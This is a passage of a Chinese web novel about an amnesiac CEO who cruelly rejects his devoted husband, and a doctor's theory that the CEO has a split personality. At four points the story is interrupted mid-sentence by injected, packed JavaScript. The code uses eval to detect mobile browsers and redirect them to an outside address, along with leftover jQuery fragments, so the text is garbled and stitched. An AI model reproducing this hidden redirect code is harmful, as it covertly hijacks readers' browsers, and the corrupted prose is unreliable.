比他车祸醒来的疼痛还要难忍。
他不喜欢这种超出范围的掌控。
他凝视着余赋秋的脸,挑了挑眉,似乎知道了他们之间的关系,“你是我包养的情妇?”
“倒是你这张脸,”长庭知的目光在余赋秋漂亮却苍白的脸上逡巡片刻,带着一种审视货物的挑剔,“的确合我的口味。”
他的话锋一转,语气冰冷:“不过,情妇也要知道自己该做什么,不该做什么。”
“做好你分内的事情,而不是在这里问我这种毫无意义的问题。”
“只会浪费我的时间。”
情妇两个字,如同最终审判的死刑,将余赋秋彻底钉在了耻辱柱上,他浑身剧烈地颤抖起来,眼前阵阵发黑,手上的杯子都要拿不稳,往后踉跄了两步。
他养大长庭知十年,在长庭知找回了自己亲人后,他又被追了回来,结婚五年。
十五年的陪伴,换来的竟是如此不堪的定位。
“啪——”
清脆的把掌声在病房炸开,长庭知偏过头去,左脸颊瞬间红了一片,他一怔,慢慢转过头,拧着眉头,看着站在床尾的精致妇人。
他不明白,这个突然出现的女人为什么要打他。
“还记得我吗。”
褚宝梨冷冷地看着他,胸口剧烈的起伏,显然是被气的不清,扬起手,又在他的脸上打了一巴掌,“我是你长姐。”
“长姐如母。”
这两巴掌,在长庭知俊美的脸上留下了两个清晰可见的巴掌印,看着甚是滑稽。
褚宝梨打完,深吸一口气,强压着怒火,伸手扶着身边面色苍白,整个人摇摇欲坠的余赋秋,声音冷淡却分外有力度:“他不是你的情妇。”
“他是你明媒正娶,法律承认,领了证的妻子。”
“妻子?”
长庭知轻笑一声,“先不说他,饶是您是我的长姐,在医院这种场合,不分青红皂白打我,是不是太过于冒犯了?”
他的目光慢慢转到了余赋秋的身上,目光像刀子一样,上下打量着:“就凭他?”
“一个男人?”
似乎是听到了好笑的笑话,他丝毫不顾及脸上的红肿和疼痛,抱着肚子嗤笑了起来。
“编故事也要编的像样一嗲,为了钱还是为了别的?”他用指尖敲了敲自己的太阳穴:“我不是傻子,你们费劲心机演这出戏,真是难为我了,找来这么个——”
他的目光再次落在那张过分漂亮的脸上,语气刻薄之际,“……合我口味,甘愿当我的‘情妇’。”
他刻意加重了‘合我口味’和‘情妇’几个字,充满了羞辱的意味。
“不过,”他话锋一转,眼神冰冷地扫过余赋秋,最后定格在褚宝梨的脸上,说出的话如同最为锋利的冰锥,狠狠地扎向余赋秋已经千疮百孔的心:“就算他以前有手段,我以前真的眼瞎,找了他,那也肯定是玩玩而已,一个男人,也配称作为‘妻子?’简直是荒谬可笑。”
“我喜欢的是女人,而不是喜欢一个男人,我恶心同性恋。”
“当然,我不是歧视这个群体,我只是不会成为这种群体,并且也请你不要缠上我。”
“……”
余赋秋站在原地,听着这些恶毒的话从最爱的人口中说出,看着他眼中毫不掩饰的嫌恶与嘲讽,只觉得整个世界在旋转,崩塌,心脏的位置传来一阵尖锐的,无法容忍的剧痛,痛的他几乎无法呼吸,连指尖都麻木了起来。
他张了张嘴,却发不出任何的声音,只能在那双冰冷的眼神里面看到自己苍白,摇摇欲坠的身影。
怎么会——
他回来了——
余赋秋深吸一口气,强力压下自己的情绪。
在他的原世界,他在精神病院的时候,无聊之际,从小护士那里借来了一本书。
《带球跑后总裁后悔莫及,开始追妻火葬场了。》
他穿越而来,就是要将虐文变为甜文,让主角受柯祈安和主角攻长庭知解除误会,从而在一起,避免追妻火葬场的结局。
故事里面的长庭知是个冷漠无情酷似机器的人,他缺失情感认知,只有主角受才能挑起他的一切情绪,其他人在他的眼里不过只是可以用金钱来衡量的商品。
而眼前的长庭知,根本不是他的爱人,而是原书的主角攻。
迟了十五年的剧情——
最终还是开始了。
面对原书的主角攻,余赋秋不可以保持沉默,他要拿出自己的态度。
他闭了闭眼,将要夺目而出的泪水硬生生憋了回去,他走到长庭知的面前。
调出手机,将他们官宣的微博调了出来,把结婚证明不断的放大,确定上面的每一个信息,每一个字,长庭知都明确的看了清楚,才缓声道:“这是我们的结婚证,现在是XX年X月X日,今天是我们结婚五周年的纪念日。”
“你是长庭知,长秋集团的总裁,我的的确确是你官媒宣布的妻子,同时我也自我介绍下,这是我的简介,余赋秋。”
长庭知蹙着眉头,半信半疑地接过了余赋秋,一目十行看完了上面的字,只是在人物关系一栏,看见他丈夫的栏目上标榜着自己的名字,眸光一怔。
明明上面的脸就是自己的脸,那些亲昵的瞬间也不似作伪,尤其在他看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124669|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了微博上,他温柔地亲吻着余赋秋,眼底全是爱意的时刻,心里这股莫名的、汹涌的愤怒与抵触感瞬间都抵达了高峰。
长庭知下意识地将这种控制的情绪,归咎于对方拙劣的欺骗和计算。
他看着眼前这个眼前脆弱得仿佛一触即碎得青年,看着他通红得眼眶和强忍泪水得模样,心中那股莫名得烦躁感更甚。
但他习惯用冷漠和强势来武装自己。
“你想说什么。”
长庭知扬起下巴,这是他在谈判桌上惯用的姿态和气场,他试图用这种居高临下得气场来掌控局面,只有他掌握主动权的时刻,根本没有他无法把握的时刻,他也不会容忍这种情况的出现。
只是他自己没有意识到,那垂在身侧,被病号服遮住的手臂,正因为某种难以言喻的情绪而在轻微的颤抖。
“怎么,是想祈求我不要离婚,继续陪你玩这种无聊的过家家游戏?”
那段被遗忘、相爱的时光,被他轻蔑地定义为‘过家家’。
“就算你说的是真的。”
“那么,告诉我,现在的你,能给我带来什么利益?”
他的眼神如同一个评估商品剩余价值的仪器。
长庭知冷笑一声:“一个无法延续血脉的男人?”
“一个需要依附我生存的菟丝花?”
“还是一个……只会用眼泪和所谓‘回忆’来绑架我的,站在道德至高点上,进行自我感动批判,实则在最后只是个毫无用处的废物和累赘?”
“除了这张合我口味的脸,你还有什么?”
“值得我放弃整片的森林,继续把时间浪费在你的身上?”
“省了你这个心思吧,或许以前的我对你这个情妇钟爱有加,你拿了你该拿的东西,体面的离开,这是我网开一面的结果了。”
“不要在奢求什么自己得不到的结果,否则……”
他顿了顿,眼神危险地眯了起来:“我不保证,你最后还能剩下什么。”
余赋秋咬着唇,低垂着眸子,长长的睫毛如同蝶翼般颤抖,露出一抹让人心碎的弧度。
长庭知心口处的疼痛越来越严重,他别过头去,不去看余赋秋:“别以为装可怜我就会改变想法……”
“我没有让你改变想法。”余赋秋轻声道,“我们对外的人设就是恩爱夫妻,如果现在官宣离婚,外界会怎么看我们?”
“更何况我代言的很多东西都和长秋集团联系在一起,如果我们这时候官宣离婚,会对股市造成多大动荡,我想,长……长总不会不知道吧。”
在说出这个称呼的时候,长庭知紧抓着被角的手紧绷了起来。
“我会把协议书打印好,……等我把这些处理好,我们在离婚吧,如果你有了喜欢的人,提前告知我,我,我也理解的。”
他低声,近乎哀求:“至少,至少在大众面前,还是装扮好恩爱的人设,好吗?”
求你,求你——
装作.爱我吧。
即使是假的。
也行啊。
既便只有一小会儿时间,我也想拥有你。
你不要那么快和别人相爱。
5. 第 5 章
褚宝梨转动手腕上的翡翠绿,扶着余赋秋摇摇欲坠的身体,刚要说什么。
就被进来的医生打断了。
“长先生,您醒了?”
长庭知眯着眼看清了医生上面的牌子,职称副高,这才将扬挺的下巴轻微的松懈了下来,身体靠后,从容矜贵的模样,好似面对的不是医生,而是参加宴会的宾客。
他懒懒抬眸,示意医生继续说下去。
“哎呀,余先生也在,那正好,我这边给长先生做个检查,顺便和您说下长先生的情况。”
“啊对了,我这边有几个学生想来学习一下,”医生小心翼翼抬眸,望着余赋秋的神色,“当然,长先生能在这么重伤的情况下还清醒着,真的是个奇迹了。”
长庭知微微蹙眉,他才是病患,医生应该问病人的意见,老看那个男人干什么?
“当然可以。”余赋秋理了理自己散乱的头发,那双前面还盈满水光的眸子,此刻只留下一片被水色洗涤过的,仿若是一个惊人澄澈而明亮的黑曜石,眼眶是红的,眼尾带着一模惊心动魄的艳色。
看的医生呼吸都停滞了一瞬。
长庭知神色一冷,“你在看什么。”
医生瞬间回神,赶忙低声道:“抱歉抱歉,长先生。”
门口听到里面的动静,探出几个毛茸茸的脑袋,在看见余赋秋的那一刹那,整个眼睛‘唰’的一下子亮了起来。
其中一个穿着白大褂,面容稚嫩的实习生,正捧着一个精致的笔记本,眼神亮晶晶地看着他,脸憋的通红,手都有细微的颤抖着。
“哥哥……真的是你!”
女孩的声音激动的发颤,下意识地在原地小小地跺了一下脚,“我,我超级喜欢您的!您每一步电影,每一首歌我都听过,尤其是《红风渡》里面的宋玉,我刷了五遍!”
“我,我,我在这里记了很多很多宋玉说的话,在我备考、被责备的时候,都是它们鼓励我走出低谷的!哦对了,哥哥你之前在戏场吊威亚闪了腰,这是我们自己制作的……希望你可以喜欢……”
女孩子的手颤动着,手心冒出密密麻麻的汗,连手中的笔拿不稳,好几次差点掉在地上。
女孩子尴尬地都要哭了,“对不起,我太笨了……”
“没有的事情。”
眼前一双如玉的手托起她手中的笔记本,余赋秋的脸上带着温润的笑容,细碎的阳光从缝隙之中照射下来,投落在那张漂亮至极的脸上,女孩子瞳孔骤然一缩,连手上的笔记本都差点‘啪嗒’掉在地上,她似乎忘了呼吸,过了好几秒才回过神来,剧烈的呼吸着。
“能得到你们的喜欢,是我的荣幸。”
他翻开到崭新的一面,修长的指尖拿过笔,丝毫不介意上面有女孩的汗液,签下漂亮的字体。
“真的是……太感谢您了……”
女孩子似乎不可置信,掩面哭泣着:“我,我喜欢你七年了——”
“我真的没想到还能有一天能遇见你……”
“哥哥,你前面说你要暂停工作,我们都很怕,真的很怕,怕你退出这个圈子,怕你在我们看不到的地方过的不好,我们——”
女孩子哭的抽抽嗒嗒,眼泪啪嗒啪嗒地滴落在白大褂上。
余赋秋抽出一张湿巾,递给女孩子,原本被长庭知的言语刺破成千万片骷髅的心,在这一刻,又仿佛注入了活力,开始缓慢地跳动了起来。
“抱歉,我不会离开的。”
“只要有一个人还喜欢着我,我就会出现在你们的面前。”
……
原本实习生们还带着一丝僵硬,但通过这么一个小插曲,每个人都热络了起来,说到底,也只是在学校的学生,还没有走出大学体会到外面的社会生活。
“……我才是病人,对吗?”
长庭知跟着医生的指令,该翻身翻身,该举手举手,他面无表情地对着医生来了还这么一句。
“是啊。”
正给他做膝跳反射活动检查的医生记录着数据,有些不解地看了一眼长庭知紧绷的下颚线,在看清脸上两个深刻的巴掌印的时候,他还是忍不住问了一嘴:“长先生……您,是不是惹余先生生气了?”
这话如同点燃了引线。
“其一,”他竖起一根手指,姿态是惯有的,不容置疑的强势,他挥开医生放在他膝盖上的小锤,“我得问问,既然我是病人,为什么你们都要围绕那个男……余赋秋,凡事都要经过他的同意?”
长庭知声音冷得像冰,认真听还能听戳中痛处般的咬牙切齿,他才是病人,他应该才是人群的中心,为什么别人一进来,看见都是余赋秋,甚至连他做检查,抽血要不要空腹,今天能不能下床活动,甚至翻个身会不会牵扯伤口能不能翻身都得问过余赋秋的意见。
还有上厕所,换贴身衣物都得经过余赋秋的想法。
“其二,我的脸清清楚楚地挨打,你们凭什么认定是我惹他升起,而不是他惹了我,甚至是,外面动了手呢?”
最后几个字,他说得底气有些不足,毕竟余赋秋面色苍白,在阳光照射下仿佛透明的一碰就碎的模样,实在是不像能和他‘动手’的。
“……”
医生拿着记录版,表情从最初的差异,慢慢变成了一种极其复杂的神色,混合着难以置信,恍然大悟,以及一种——想笑又强硬憋住的古怪表情。
他拍了拍长庭知的肩膀,语重心长道:“长先生,我懂,我和我妻子也结婚五六年了,总归有那么几天的叛逆期。”
他推了推眼镜,双手插进白大褂的口袋里面,脸上露出一种了然甚至带点促狭的笑容。
“我知道您的困惑和,……委屈。”他语气放缓,带着一种‘原来如此’的调侃:“夫夫之间总有吵架的时候。”
“但您说的这两点,恰恰证明了余先生对您到底有多上心,而您以前……咳咳,有多‘依赖’他。”
不等长庭知反驳,医生便开始如数家珍,眼神放光,像是讲述教科书般娓娓道来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124670|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“您昏迷的这半个月,余先生推掉了所有的工作,寸步不离地守着,您生命体征稍微不稳,他比我们医护人员还要紧张,眼睛都是红血丝都不肯去睡,尤其是您在icu里面,一次又一次被下病危通知书的时候。”
“我从业以来,见过很多的病人,但没有一个是他这么镇静的,是这么长时间陪在一个当时看来,根本救不回来的人身边的,您做手术需要签字,风险告知的时候,他手抖得几乎握不住笔,却还是自己签字,说他是您最亲密的人,是您的爱人,有权为您承担一切。”
“有时候我深夜迅班,每次路过您的病房,您的小夜灯一直开着,余先生一直给您按摩着肌肉,很多的细节比我见到的护工还要详细。”
“不过更多的是左医生和余先生交流,具体的您可以问问他。”
医生拿出一张照片,照片显示在深夜拍的,余赋秋低垂着脑袋,和旁边的医生靠的很近,探讨长庭知的病例。
不知道为何,看到这一幕的长庭知神色立刻冷了下来,眼神变得晦暗不明,唇紧紧抿着。
“这男的谁?”长庭知放大照片:“看着就不正经。”
“……那是左医生,您的……发小。”医生嘴角抽抽。
长庭知面色停滞了一瞬,轻咳了一声。
“至于为什么事事都要问他。”医生笑了:“那是因为您以前亲口交代过,您忘了吗?”
“您先前和余先生备孕的时候,来我们医院体检,就和我们院长打过招呼,说您家的事情,,不论大小,余先生拥有最高的决定权,您无权任何干涉,说您的话都是放屁,只要听他的就好。”
医生看了看周围,余赋秋还被学生们围绕着,他拿出了手机,掏出了一个视频,视频像素很模糊,却依旧遮盖不住余赋秋的容貌,长庭知一眼就认出了被他紧紧抱在怀里的余赋秋。
视频里的他把余赋秋遮盖的严严实实的,生怕被别人抢走似的,脸上带着骄傲,像只开屏的孔雀:“在我家,我老婆最大!他说一我都不敢说二,啥事情都别和我说,我说话就是放屁,我老婆拥有主宰权。”
刚有人要上前说话,视频里的长庭知就说:“诶,你怎么知道是我老婆让我过来的?”
“哎,没办法,老婆太爱我了——”
后面还说了什么听不清楚,医生赶忙把手机藏了起来,生怕被长庭知骂。
长庭知眉头越来越紧,脸上写满了不可能。
他最讨厌和别人皮肤接触了,每碰一次别人,他都会搓皮,直到搓破皮才会罢休,平日出行更是全身包裹着,怎么会和人这么亲密接触,而且还和别人到处的炫耀?
他很不想承认视频里那个欠揍的妻奴就是他本人。
不可能,绝对不可能。
一定是AI换脸,一定是。
在医生把手机要放进口袋里的时候,长庭知的脸抽动了一下,“那个……”
他轻咳了一声,面色冷淡:“把视频发给我一份。”
医生:“?”
6. 第 6 章
“行。”医生忍着笑,“您还是记不起来了?”
“那您总该记得,您怎么追求余先生的吧?”
“他那时候一步一步爬上了娱乐圈的顶峰,您为了追求他,包下全部的银屏,在他全球巡演的每一站都带着巨幅示爱,闹得沸沸扬扬,全网都知道长秋集团的太子爷在追求余赋秋了。”
“最轰动的是那场直播求婚!”旁边一个年轻的小护士也忍不住插嘴,眼睛发亮,“在余先生的演唱会安可环节,您突然抱着九百九十九朵玫瑰上台,当着几万粉丝和直播镜头的面单膝跪地,说得可不是什么‘嫁给我’,而是‘求求你,给我一个名分吧!’!天哪,当时热搜都爆了!”
医生接过话头,笑着摇头:“结婚的时候更是震惊全国,世纪婚礼啊。婚后您更是出了名的……嗯,‘妻管严’。”
他小心地选了个比较委婉的词,“财经杂志采访您,问您成功的秘诀,您说‘回家听老婆的话’;商业晚宴您提前离场,理由是‘我家赋秋门禁十点’;甚至有一次,您因为应酬喝了酒,被余先生关在门外睡了一晚沙发,第二天还被狗仔拍到,上了娱乐版头条……这些,您真一点都不记得了?”
长庭知听着这一桩桩、一件件完全陌生的、荒谬绝伦的事迹,脸上的表情从最初的质疑,到震惊,再到一种混杂着羞恼和极度困惑的僵硬。
他……他以前竟然是这样一个……一个被感情冲昏头脑、毫无原则的“妻管严”?为了一个男人,做出这么多惊世骇俗、有损他形象的事情?
这怎么可能?!
看着长庭知的表情,医生终于收敛了笑容,语气变得认真而温和:“长先生,所以您看,不是我们围着余先生转,是您以前,亲手把围绕您自己转的权利,心甘情愿、甚至迫不及待地,全部交到了他手里。而他,也确实把您照顾得无微不至。”
“至于您脸上这巴掌印……”医生的目光再次落在那红痕上,语气带着十足的笃定和一丝不易察觉的调侃,“以余先生那性子,以及他对您的紧张程度,他要是真动手打您,那只有一个可能——”
医生顿了顿,一字一句地说:
“绝对是您说了什么、或者做了什么,把他伤透了心,让他气到极点,才会这样的。毕竟,谁不知道,长秋集团的长庭知,天不怕地不怕,就怕他家余赋秋不开心掉眼泪呢?”
“我们都知道,您有多爱余先生。”
小护士从她的收藏夹里面找出了很多长庭知的采访,长庭知身为商业的后起新秀,尤其又娶了余赋秋名声如此大的演员,恰好余赋秋很少透露私人的生活,每当有人想要问及他的私人生活,总是会被巧妙的带走去回答其他的问题。
而长庭知则相反,他恨不得跟天下人昭告,余赋秋多么的爱他,既便是财经频道的采访,他也能总说出‘你怎么知道我老婆今天要给我送饭。’
“好了,长先生,您的身体恢复的很好,余先生一直给您按摩,肌肉也没有萎缩的迹象。”
医生在记录数据的面板上写了几个数值,“接下去只要静养——”
“医生。”
褚宝梨拦住了医生,她指了指长庭知的脑袋:“我弟弟他……”
门被敲响了,余赋秋好不容易签下了最后一份签名,抬起眼,对上那双的眼眸,身体下意识的放松。
这段时间,如果没有左成双的帮助,他怕是根本撑不下来。
白天黑夜连轴转在长庭知的身边,精神上根本没有得到很好的休息,面对繁杂的医学术语和数据,他只能一个个去搜,不想要去麻烦医生护士。
左成双在值班的时候会来帮助他,为了帮他放松,还帮他按摩,给他助眠的药物,这极大程度上缓解了余赋秋的疲劳。
他还没有消化原本长庭知的出现,面对他那些侮辱的话,他只是强硬的撑住没有让自己崩溃。
“赋秋。”
左成双推开门。
“我说为什么办公室这么空呢,敢情都在这里打扰病人是不是?”左成双是他们的硕士生导师,佯装生气的模样。
“咦。”其中一个男孩子嬉笑道:“不知道谁听说球球哥来医院,一向抠门的铁公鸡请全院喝了十块钱的珍珠奶茶呢!”
“去去去。”
左成双轻咳一声,将学生们赶了出去,“他要休息,别打扰人家。”
学生们依依不舍的和余赋秋告别,不忘对左成双做个鬼脸。
病房里终于恢复了安静,只剩下仪器规律的滴答声。
左成双转向余赋秋,语气自然而熟练,带着显而易见的关怀:“赋秋,我先给他检查一下,你在旁边坐会儿吧。”
他似乎想到了什么,从口袋里掏出一个小巧的保温杯,“这个……是我,我妈熬的,我喝不完,安神汤,里面加了百合喝酸枣仁,有助你晚上睡眠,今天气温低,你手这么凉,喝这个暖和一下。”
那杯子的外壁是凉的,但是余赋秋打开盖子时候,一股带着药草清香的,滚烫的氤氲雾气立刻扑面而来,模糊了他苍白的脸和微红的眼眶,他心中一动,摩挲着保温杯,喑哑着嗓子:“好,谢谢你,成双。”
这简短却透着亲近的话语,以及那杯明显是特意准备的汤。
长庭知手捂着胃部,此刻的胃在剧烈的翻滚,冷汗从长庭知的脸颊落下,他面无表情地盯着那个杯子,太阳穴在突突的跳。
就在余赋秋要喝下去的那一刻,长庭知冷不丁地打断了他:“我要喝。”
余赋秋手中的动作一顿,这是长庭知醒了现在,主动和他说的第一句话,但他的动作却在长庭知看来是犹豫,踌躇。
“喂,听不到吗,我说我要喝。”
左成双听到他的称呼,蹙紧了眉头,但手上的动作没停。
“庭知,这是给赋秋暖身体用的,你现在刚醒,喝了效果没那么好……”
左成双提醒道。
“……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124671|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
长庭知抬眸,眼中的冷意闪烁。
“他是我老婆。”
长庭知打断他,挑了挑眉头,“我是他丈夫。”
“所以,我老婆喝什么东西,要不要给我喝,这和你一个外人,有什么关系呢?”
左成双愕然,连手中的动作都停了下来,难以置信地看着病床上面色苍白,却依然像刺猬一样竖起所有尖刺的男人。
空气中的火药味浓烈了起来,似乎只要一个火星子就可以爆裂开来。
余赋秋心头一紧,几乎是本能地快步上前,挡在了左成双的身前,把左成双挡在了自己的身后,把杯子递给长庭知,转头对左成双道歉:“抱歉,成双,庭知他……可能是刚醒,他不是那个意思……”
长庭知看着余赋秋下意识维护左成双的动作,好似他才是那个外人,不知为何,胸中愤怒的情绪几乎要将他的理智蚕食殆尽。
他冷笑一声,接过杯子。
他将杯子凑到唇边,眼神冷冷地凝视着左成双,就在余赋秋因他接过杯子而微微松懈的瞬间——
长庭知的手腕猛然一翻!
“哐当!”
保温杯被他狠狠惯在地上,发出刺耳的声响,滚烫的,带着药香的汤汁瞬间飞溅开来,大部分泼洒在光洁的地板,但也有一部分,飞溅到了余赋秋来不及收回的手背上。
余赋秋手背上本身就有先前被烫伤的红痕,还没有及时得到处理,现在已经起了小小的水泡,在白嫩的手背上甚是惹眼。
“嘶——”
一阵尖锐的灼痛传来,余赋秋闷哼一声,愕然地看着长庭知。
而长庭知,只是居高临下的看着他,看着他那副吃痛又难以置信的表情,嘴角勾起一模极致嘲讽和冰冷的笑容。
“抱歉——手滑了。”
“还是说——”
长庭知故意拉长了声音,眼神在左成双和余赋秋之间来回挪动,“还是说你和这个男人联手的新计谋?”
“一个唱红脸,一个唱白脸,打着关心我的旗号,实际上是想在我的眼前继续苟合,维持你所谓自我感动的人设,从我这里捞取更多的好处?”
他的话语刻薄至极,每一个字都带着刀片:“为了得到我的信任,维持你长太太的地位,你真是无所不用其极啊。”
“故意散播我受伤的消息,让那么多人看到你费尽心思照顾我的模样,好维持你的忠诚人设。”
余赋秋的脸色瞬间变得惨白,他看着长庭知,眼睫轻颤,最后一丝血色也从他的脸上瞬间褪去,呈现出一种近乎透明的苍白,与那双因惊痛而显得愈发幽深的瞳仁形成了极其强烈的对比,让他整个人像一尊即将破裂的白玉雕像,散发着一种濒临毁灭的美感。
长庭知看着他这副模样,心中那股烦躁夹杂着扭曲的快感,被深埋于心的暴虐感倾覆而出,让他口不择言:“好啊。”
他微微一笑,眼神锐利:“我同意你的提议。”
7. 第 7 章
余赋秋抬头,漂亮的双眼像是被打碎的琉璃,迅速蒙上一层水雾,纤长的睫毛剧烈的颤抖着,仿佛在阻止那即将决堤的泪水。
“你不是想维持‘恩爱夫妻’的人设吗,不是想继续扮演深情款款,不离不弃的‘好妻子’吗?”
他的话带着调情的笑意,但说出的话却让余赋秋的心落下。
“毕竟在媒体面前那么擅长扮演,这么想要当长太太,我就让你扮演个够。”
他忽然伸手捏住余赋秋的下巴,力道大得让余赋秋疼的蹙眉。
余赋秋的睫毛剧烈颤抖着,泪水终于忍不住滑落,却倔强地不肯出声。
"不过你要记住,"长庭知俯身在他耳边,声音冷得像冰,"这只是场交易。我会配合你演戏,在媒体面前扮演人设,自然也会给你所谓的名分和资源,这一切都只是为了公司的利益。"
“别奢求不该的,我不知道你费劲手段怎么让我碰你的——”
他松开手,像是碰到什么脏东西般擦了擦手指:"一想到要碰一个处心积虑爬上我床的人,我就觉得恶心。"
余赋秋的脸色瞬间惨白如纸,连嘴唇都失去了血色。他张了张嘴想说什么,最终却只是艰难地吐出几个字:"我没有......"
"没有?"长庭知冷笑一声,"那你告诉我,一个男人,为什么要嫁给另一个男人?除了贪图长家的权势和财富,还能是为了什么?"
“难道是为了爱?”
他像是听到了天大的笑话,眉目弯弯,“这种东西。”
“真是让我恶心。”
“这种虚无的东西,是世界上最不值钱的存在,就是一滩垃圾。”
余赋秋彻底僵在原地,像是被抽走了所有的灵魂,只剩下一个空洞的躯壳。
他无法相信,那些恶毒的话语,那些诛心的揣测,竟然是从长庭知口中说出的。
“长庭知!你太过分了!”左成双再也看不下去,他一把拉住余赋秋冰凉僵硬的手臂,将他护在自己身后,怒视着长庭知。
“我们走,赋秋!”左成双强压下怒火,不由分说地拉着失魂落魄的余赋秋,快步离开了这间令人窒息的病房。
房门在身后关上,隔绝了那片令人心寒的战场。
走廊上,余赋秋依旧浑身发抖,手背上的红痕刺目显眼。左成双看着他这副样子,心疼又愤怒,他深吸一口气,语气凝重地开口:
“赋秋,你冷静点听我说。”他按住余赋秋单薄的肩膀,迫使对方看向自己,“原本我还想确定一下,检查报告出来的时候,我是不相信的。”
“可是现在看来,没有必要了,那报告不会出错的。”
余赋秋空洞的眼神微微动了一下。
“他的身体机能没有出现问题,但结合他现在的表现来看——”
左成双的声音压得很低,“你听说过‘分离性身份识别障碍’这个说法吗?”
余赋秋低垂着眼眸,他怎么可能不知道,迟到了十五年的原书剧情,终于是在这个时刻上线了。
“曾经A国的女子在车祸后,出现了八重人格,车祸作为一种严重的应激事件,所以这次车祸是一个诱因,诱发了长庭知原本就存在的障碍。”
“来逃避痛苦和保护自己,这是一种大脑的自我保护机制。”
“所以我猜想,庭知是出现了一种全新的人格。”
逃避痛苦,保护机制——?
创造出他新的人格?
余赋秋恍惚想起,他在那个雨夜小巷把少年带回自己家的时候,那时候的长庭知跟个狼崽子一样,上来就咬了他一口,警惕地看着他,性格和现在的长庭知一模一样。
后面和他朝夕相处,和他相恋相爱的长庭知都是为了逃避痛苦,保护自己所创造出来虚假的人格?
他爱上的是虚假的长庭知,是不被需要的长庭知吗?
他的长庭知,会彻底消失于世界上吗?
余赋秋忽然感到一阵巨大的恐慌,他们在一起七年,那个会对他温柔微笑,会笨拙地位他准备早餐,会在雷雨夜紧紧抱住他,会因为他们儿子的诞生而喜极而泣,会把他宠的无法无天的长庭知……
他爱上的,难道只是一个不被需要,甚至可能被主体人格排斥和厌恶的幻影?
一个……注定要被抹杀的存在?
“不……”
他害怕了。
他真的害怕了。
得知长庭知出车祸,失忆的时候,他没有那么惶恐,得知原本的长庭知出现,他没有害怕,因为他冥冥中总是有种隐隐的期待,他认为爱他的长庭知还会再出现,这一切都是暂时的。
而现在左成双的话语却打破了这些幻想,告诉他,他爱上的只是虚幻的人格。
他抬起头,视线越过左成双,死死盯住那扇紧闭的房门,仿佛能穿透门板,看到里面那个陌生的灵魂,他拼命的想要去找寻那个熟悉的影子。
他想要他的庭知。
“……”
“不可以。”
憋了很久很久的泪水最终还是决堤而出。
大颗大颗的泪珠落下,像是体内某种支撑彻底崩塌后流出的碎片,滚过他苍白近乎透明的脸颊,那双总是盛着柔和星光的眼眸,此刻空洞地望着左成双,眼尾的那抹红分外的艳丽。
“不可以的。”
余赋秋拉着左成双的衣角,拼了命的摇头,“成双,成双,你是医生,你帮帮我,帮帮我好不好?”
他一遍一遍喊着左成双的名字,声音哽咽颤抖,充满了全然的以来和绝望的乞求。
乌黑的发丝被泪水濡湿,粘腻在光洁的阿胶和脸颊,显得异常狼狈又脆弱。
“我不想要庭知消失,我不要。”
他呜咽着,“我要我的庭知,我要爱我的庭知,而不是,而不是——”
而不是那个像看垃圾一样看他的长庭知。
那个眼神,他现在也忘不了。
“我不是情妇,我也从没有想要长家的钱财和权势。”
余赋秋颤抖着声音,那抖动、纤细脆弱的脊背,和压抑到喉间小声啜泣的哭泣声,都说明了他正在经历一场怎样的精神酷刑。
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124672|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只是,我只是太想陪伴在他的身边了。”
“不要把他从我的身边剥夺走,不要剥夺走……”
“我只是想要留在他的身边,想要每天醒来都可以看到他,回家可以拥抱到他,我只是想要陪伴在他的身边而已。”
他好不容易从十五年前那个精神病院的牢笼里逃了出来,现在又要被无情的剥夺走吗?
余赋秋哭的浑身脱力,纤细的指尖却仍然死死地攥着左成双的衣襟,像是濒死之人最后的之年,泪水浸湿了他浓密的睫毛,粘腻在一起,衬得那张苍白如纸的脸愈发脆弱,是一种惊心动魄,即将破碎的美感。
他的呼吸越来越急促,眼神涣散,身体在止不住的痉挛。
“赋秋,看着我,看着我。”
